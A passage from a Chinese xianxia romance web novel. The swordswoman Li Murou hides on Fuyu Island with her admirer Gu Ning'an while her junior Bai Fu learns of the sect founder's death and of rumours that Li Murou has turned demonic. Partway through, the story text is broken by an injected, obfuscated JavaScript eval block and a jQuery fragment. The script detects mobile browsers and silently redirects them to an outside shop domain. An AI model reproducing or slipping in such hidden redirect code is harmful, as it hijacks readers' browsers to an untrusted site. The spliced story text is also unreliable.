背着宋芷璇走出巨阵森林,李慕柔已是大汗淋漓。
“师弟,我现在要把我背上的姑娘放下来,你帮我扶好她,别让她摔了。”
“嗯,好。”
“流云!”
“咻!”
李慕柔和顾宁安将宋芷璇抬上了飞剑。
暮色将至,云霞满天。
“呼~”一滴汗顺着李慕柔的脸颊流下。
她用袖子擦掉了脸上的湿润。
阿宝轻松跃起,跳上了飞剑。
李慕柔两指并拢冲天画了个圆圈,天上那轮被圆圈圈住的血月便泄作一团深红色的烟雾,丝丝缕缕地游进了她的眉心,如香倒流。
【哇~好美啊~】
阿宝和馒头十分认真地注视着。
“原来这轮血月是师姐的。”
“是的,风花雪月第四式——月。是我自创的功法。”
说到这儿,李慕柔想起了李幽舟。
她一直都将李幽舟视为榜样。李幽舟开宗立派后,创造出了沧渊阁的独门绝招“镜花水月”。
当修为达到凝真境,她便用心琢磨,自创了一套属于自己的秘技。
“好了,我们走吧!”李慕柔莞尔。
顾宁安问:“那我们现在去哪儿?”
李慕柔身体微微前倾,瞪大眼睛盯着他。
“你从哪儿来的?”
顾宁安后退了半步,有些腼腆。
“我从浮玉岛来的。”
“那我就跟你回浮玉岛,现在我还不能回沧渊。走吧!”
说着,李慕柔跳上了飞剑。
她伸出手道:“来啊!”
“嗯!”顾宁安喜上眉梢,借着李慕柔的力,登上了飞剑。
浮玉岛,白滩居。
将一切收拾妥当后,天色暗了下来。
白瑞有太多话想问,但是碍于李慕柔,只好一直憋着。
这会儿,终于被他逮到了机会。
李慕柔在房间里跟宋芷璇待在一起。白瑞追着顾宁安回到了他的房间。
顾宁安从包裹里拿出了白瑞送他的那副弓箭。
“你不挂你的梦中仙了?”
顾宁安将弓箭挂在了原本用来挂画的位置上。
“哪儿有什么画?”
顾宁安明显心虚了。
白瑞坏笑。
“诶?这话说得不对吧!应该说哪儿有什么梦中仙,哼,我又不瞎!你那画上的人与那屋子里的人简直一模一样好嘛!还不说实话!”
“呃,嘿嘿……”
顾宁安看着白瑞傻笑,随即又立马认真起来。
“好白瑞,这个秘密只能你知、我知、天知、地知,这回你可要为我守口如瓶啊!”
“那是自然,我不光酒量好,我酒品也好得很,哪像你?你自己别说漏就行!”
白瑞笑着拍了拍他的肩膀。
“呃……说得是哦。”
顾宁安挠头道:“看来下次饮酒,绝对不能过量!”
他们两人相视而笑,莫逆于心。
屋内,宋芷璇和李慕柔二人睡得正香。
宋芷璇睡在自己的床榻上,李慕柔则趴在一旁。
夜深了,白瑞也已经歇下。馒头趴在阿宝的背上,随着它呼吸的节奏起起伏伏。
只有顾宁安一人还醒着。他实在兴奋,根本无心睡眠。
好似那忽明忽暗的星光,正在他的心头闪耀。
身体好转的白芙去寻徐月僚的时候,被门外的执事弟子拦了下来。
“吴长老有令,任何人不得入内。”
“为何?”
“徐月僚携带魔气,已被长老们封住穴道,待找到驱除魔气的方法之前,闲杂人等不得与之接触!”
向她解释的执事弟子显然有点不耐烦。
“携带魔气?你没搞错吧?”
白芙冲屋内大喊:“阿月师姐!”
无人应答。
“月师姐!”
“我是白芙啊!你怎么了?”
无人应答。
今天,是仙门大比的第五日。
白芙心想:今晚,慕柔师姐就要回来了,等慕柔师姐回来,就能知道发生了什么吧……
她一直从天亮等到了半夜,也没有等到李慕柔回来。
白芙问那守门的人:“你可知道,慕柔师姐何时回来?”
“不知。”
失落又疑惑的白芙走出了云涧苑。
已经陆陆续续地有人上山了。
她拦住一位同门。
“哎,师妹,仙门大比可是结束了?”
“对呀。”
“那你可见过慕柔师姐?”
“慕柔师姐?你没听说吗?”
“听说什么?”
“她堕入魔道,大开杀戒,已经不知所踪了!”
“……”
白芙愣在原地,答她话的人继续往前走了。
“开什么玩笑……”
她根本不相信这种荒唐的说辞。
可是,徐月僚此刻就被关在屋里。
想到这儿,白芙不由得心慌了起来。
“师兄,对,去找师兄!”
冲到松溪苑周晟鸣的门前,在她看到门口守卫着的执事弟子的时候,白芙吓出了一身冷汗。
她忙上前问:“周师兄他怎么了?”
执事弟子回答:“他被魔气侵体,被长老封住了穴道和神识,此时尚在沉睡。”
白芙双腿一软,俯下身,用双手撑住膝盖,眼中起了一层雾。
“怎么会这样……”
“那慕柔师姐呢?”
白芙不死心,直起身子问道。
“失踪之后,一直未有音信。”
“你们可知,她出了什么事?”
“具体不知。”
“师姐,怎么会这样?”
白芙拖着沉重的步伐离开了松溪苑。
她只觉脑子一片混乱,一时之间不知道自己该何去何从。
“我要把师姐找回来,等师姐回来了一切就都会好的。”
“对,师姐那么厉害,一定知道驱除魔气的办法!”
“可是,长老们都没办法的事,师姐怎么会有办法呢?”
“不管了,先找到师姐再说!”
白芙自言自语地下了山。
等她回来的时候,李幽舟的丧事都办完了。
“咦?山上怎么有这么多的引路钱呢?”
走着走着,白芙遇到了旬休下山的弟子。
“哎师姐,山上在办白事吗?出什么事了?”
“师祖仙逝了,前日是头七。”
“嗯?”
白芙面部抽搐。
“这么突然?”
异口同声。
《三界盛闻》缓缓下移,露出了李慕柔神色凝重的脸庞。
李幽舟死了?
小报上说,他是被自己的亲侄女重伤,不治身亡的。
真给李慕柔气笑了。
“荒唐。”
“哄!”
她一把火将那《三界盛闻》烧了个干干净净。
“师姐。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939087|213826||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顾宁安迎面走来,手里端着他亲自下厨烧好的饭菜。
“那个师弟,其实我,算了。”
李慕柔刚想告诉他以她的境界早就不用以饭食充饥了,但不知怎的,她对他总是抱有一丝不忍。
“算了?师姐说什么算了?”
“哦,没什么,话到嘴边突然忘记要说什么了。”
顾宁安冲她笑。
“师姐,等你用过早饭,我带你去岛上转转吧!”
李慕柔拿起筷子说道:“好啊,正好宋姑娘要到下午才回来,闲着也是胡思乱想,倒不如出去走走。”
“那师姐用好了叫我,我来收碗筷。”
“好。”
李慕柔很久没有用过饭菜了,面前的每一道菜都甚是可口。
等顾宁安收到信鸟传信去收碗筷的时候,不禁心生欢喜。
因为,李慕柔吃光了所有的饭菜,虽然每个碟子里的份量不多,但四菜一汤加起来也足够撑饱她的肚子。
“师姐用得可还满意?”
“满意满意!我觉得你有这厨艺都能去中州开餐馆了!”
“嘿嘿。”
得到李慕柔的夸赞,顾宁安乐开了花。
浮玉岛上的雪已经全都化了。溪水裹着白色的花瓣,流淌向远处,像是要去赴春天的约。
美景尽收眼底,李慕柔仍旧心事重重。
她在想:不知道他们怎么样了,他们一定在为我担心,原本明天我要回沧渊与师祖对质的,可现下李幽舟死了,我该如何证明自己的清白……
“师姐,你看那儿!”
“啊?哦!”
李慕柔回过神,一群银鸥正在天际翱翔,金色的阳光洒在它们的翅膀上,辉煌交错。
“活了十八年,倒是第一次见到这样的景象。”
她说话的口吻老气横秋的,顾宁安忽然默默地笑了一下,为了掩饰他故意抬起手假装调整帽檐。
原本他也给李慕柔准备了一顶草帽,用以挡住零落的花瓣,不过她没有戴。
“你在笑我?”
李慕柔吃惊。
“哪里好笑了?快说!”
她最不能忍受的就是人家有话不说出来。
她歪着头看他。
“原来师姐才十八岁,可方才那句话听着却有一种你已经八十岁的味道。”
“是吗?”
李慕柔不以为意。
“那师弟多大?”
“我二十一岁。”
李慕柔眼珠子一转。
“比我大三岁,那不如这样吧,反正你也不再是沧渊阁的弟子,以后我就叫你宁安,你叫我慕柔。”
“我,真的可以这么叫你吗?”
“当然。”
顾宁安的心又开始“砰砰砰”了。
“干嘛?你不会是叫惯了师姐,叫名字反倒羞于启齿吧?”
看他有点不自然,李慕柔才故意这么问。
“没、没有。”
他开始回避她的眼神。
“嗯?”
李慕柔看他看得脖子都累了,她冲他勾了勾手指。
顾宁安的脸“歘”的一下红了,他眼睛乱眨,睫毛乱颤,却还是屏住呼吸小心翼翼地压低身子凑了过去。
李慕柔拉住他草帽的系带轻轻一拽,顾宁安与她的距离仅剩了一拳。
“嗯!”
他吓得赶紧支棱了起来。
谁知李慕柔却紧紧拽着带子,不让他离开。
“宁安,你到底因何去寻我?”
她像是看穿了他的心思,眼神坚定。